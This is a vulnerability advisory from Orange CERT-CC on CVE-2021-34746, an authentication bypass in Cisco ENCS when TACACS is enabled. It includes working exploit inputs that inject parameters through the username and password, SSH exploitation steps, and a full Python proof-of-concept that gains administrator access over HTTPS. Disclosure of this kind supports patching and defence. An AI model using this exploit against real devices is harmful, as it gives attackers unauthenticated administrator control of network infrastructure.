Cisco ENCS - Authentication Bypass (CVE-2021-34746)

Critical orange-cert-cc published GHSA-gqx8-c4xr-c664 on Nov 15, 2021

Package

ENCS (Cisco)

Affected versions	Patched versions
4.5.1-FC2	4.6.1

Description

Overview

Cisco ENCS proposes several ways to manage the equipement (SSH, Netconf, Rest/API, etc.).
Each of this management protocol require authentication. It is possible to enable TACACS authentication.

When TACACS is enabled, an unauthenticated attacker can bypass authentication and login as administrator.

We have demonstrated this bypass on SSH CLI, Netconf and HTTPS.

Impact

An attacker could exploit this vulnerability by injecting parameters into an authentication request. A successful exploit could allow the attacker to bypass authentication and log in as an administrator to the affected device.

Details

Tacacs needs to be enabled in order to trigger this vulnerability:

```
encs-audit-n(config)# tacacs-server host 172.16.1.204
encs-audit-n(config-host-172.16.1.204)# admin-priv 15
encs-audit-n(config-host-172.16.1.204)# shared-secret test
encs-audit-n(config-host-172.16.1.204)# commit
```

The TACACS server is not necessary though. When enabling TACACS confd is going to use `/usr/bin/ext_auth.sh`

confd will then provide parameters on its standard input with the following format:

```
[${USER};${PASS};${IP};${PORT};${CONTEXT};${PROTO};]
```

The first important thing is that the characters ';', ']' and '\0' can be used by the attacker in the login or the password, which leads to an injection in `ext_auth.sh` .

Additionally, when `tac_auth()` is called for authentication against tacacs server, and if the CONTEXT parameter is set to `maapi` or `rest` , `/usr/bin/auth_hash.py` is called.

We can easily trigger one of these branches by injecting the password :

```
password;;;rest
```

`/usr/bin/auth_hash.py` allows to authenticate users depending on caches (`/var/run/tacacs_hashed_passwords`)

But this script also allows to add user to caches when authentication success occures.

For authentication the following line is called:

```
        result=$(/usr/bin/auth_hash.py --function authenticate_user --username $user <<< $pass)
```

`user` and `password` variables are controlled by the attacker.

The attacker can inject parameters in order to create an entry in the cache instead of check authentication.

To do that the attacker can provide the following username:

```
myuser --function=add_user --priv_lvl=15
```

When the user is created into the cache it becomes possible to authenticate with its username and password.

SSH Exploitation (CLI, Netconf)

In order to avoid user locking, it is preferable to do one failing attempt with the targeted user and empty password prior to the exploitation.

```
$ ssh 'myuser'@172.16.1.30
```

Then we can trigger `add_user` :

```
$ ssh 'myuser --function=add_user --priv_lvl=15'@172.16.1.30
==========================================================================
<BANNER>
==========================================================================
```

```
myuser --function=add_user --p@172.16.1.30's password: password;;;rest
CTRL^C
```

At that point a valid user should be created in cache:

```
{"myuser": {"salt": "6af9c936ea2353c4f53762db319b14ef", "priv-lvl": "15", "sessions": {"7ada574ac7827912251bd6f05fc3ed7efc6179884e23902025b2dfe2a8830bad": {"timestamp":
1627312308.332741}}}}
```

It is now possible to login with:

```
$ ssh 'myuser'@172.16.1.30
==========================================================================
<BANNER>
==========================================================================

myuser@172.16.1.30's password: password;;;rest

...

myuser connected from 172.16.1.244 using ssh on encs-audit-n
encs-audit-n# who
Session  User   Context From         Proto Date     Mode
*2924456 myuser cli     172.16.1.244 ssh   16:09:47 operational
```

To demonstrate this exploitation on Netconf we can reproduce these steps with `-p 830` arguments in `ssh` commands.

HTTP Exploitation

Here is a python script that demonstrate the exploitation via HTTPS:

```
import requests
import base64
import sys
import urllib3

if len(sys.argv)<2:
  print("Usage: %s <ip>"%sys.argv[0])
  sys.exit(1)

ipadd = sys.argv[1]

#Disable SSL Warning
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

auth = base64.b64encode(b"myuser:password")

headers = {"Authorization": b"Basic "+auth}

print("[.] Use user myuser")
r=requests.get("https://%s/api"%ipadd, headers=headers, verify=False)
if r.status_code != 401:
  print("[-] Should have failed. Clear cache")
  sys.exit(1)

print("[.] Add user 'myuser' in cache")
auth = base64.b64encode(b"myuser --function=add_user --priv_lvl=15:password")

headers = {"Authorization": b"Basic "+auth}
r=requests.get("https://%s/api"%ipadd, headers=headers, verify=False)

print("[.] Request /api with 'myuser' user")
auth = base64.b64encode(b"myuser:password")

headers = {"Authorization": b"Basic "+auth}
r=requests.get("https://%s/api"%ipadd, headers=headers, verify=False)
if r.status_code==200:
  print("[+] Authentication succeess ^_^")
  print(r.text)
```

When executed it should show the `/api` result:

```
$ python3 exploit.py 172.16.1.30
[.] Use user myuser
[.] Add user 'myuser' in cache
[.] Request /api with 'myuser' user
[+] Authentication succeess ^_^
<api xmlns="http://tail-f.com/ns/rest" xmlns:y="http://tail-f.com/ns/rest">
  <version>0.5</version>
  <config/>
  <running/>
  <operational/>
  <operations>
    <vmlc:vimAction>/api/operations/vmlc:vimAction</vmlc:vimAction>
    <vmlc:serviceAction>/api/operations/vmlc:serviceAction</vmlc:serviceAction>
    <vmlc:serviceRestoration>/api/operations/vmlc:serviceRestoration</vmlc:serviceRestoration>
    <vmlc:vmImportAction>/api/operations/vmlc:vmImportAction</vmlc:vmImportAction>
    <vmlc:vmAction>/api/operations/vmlc:vmAction</vmlc:vmAction>
    <vmlc:calculateVMLCExportSize>/api/operations/vmlc:calculateVMLCExportSize</vmlc:calculateVMLCExportSize>
    <vmlc:vmImageFlavorExport>/api/operations/vmlc:vmImageFlavorExport</vmlc:vmImageFlavorExport>
    <vmlc:vmImageFlavorImport>/api/operations/vmlc:vmImageFlavorImport</vmlc:vmImageFlavorImport>
    <vmlc:vmBackupAction>/api/operations/vmlc:vmBackupAction</vmlc:vmBackupAction>
    <vmlc:vmExportAction>/api/operations/vmlc:vmExportAction</vmlc:vmExportAction>
    <vmlc:recoveryVmAction>/api/operations/vmlc:recoveryVmAction</vmlc:recoveryVmAction>
    <vmlc:hostAction>/api/operations/vmlc:hostAction</vmlc:hostAction>
    <vmlc:vmMigrate>/api/operations/vmlc:vmMigrate</vmlc:vmMigrate>
    <vmlc:filterLog>/api/operations/vmlc:filterLog</vmlc:filterLog>
    <vmlc:importDeploymentData>/api/operations/vmlc:importDeploymentData</vmlc:importDeploymentData>
    <vmlc:getVmDisksInfo>/api/operations/vmlc:getVmDisksInfo</vmlc:getVmDisksInfo>
  </operations>
  <rollbacks/>
</api>
```

Solution

Security patch

Cisco fixed this vulnerability in Cisco Enterprise NFVIS releases 4.6.1 and later.

Workaround

There are no workarounds that address this vulnerability.

References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-nfvis-g2DMVVh
https://nvd.nist.gov/vuln/detail/CVE-2021-34746

Credits

Orange CERT-CC
Cyrille CHATRAS at Orange group

Timeline

Date reported: July 28, 2021
Date fixed: August 23, 2021

Severity

Critical **9.8** / 10

CVSS base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2021-34746

Weaknesses

CWE-289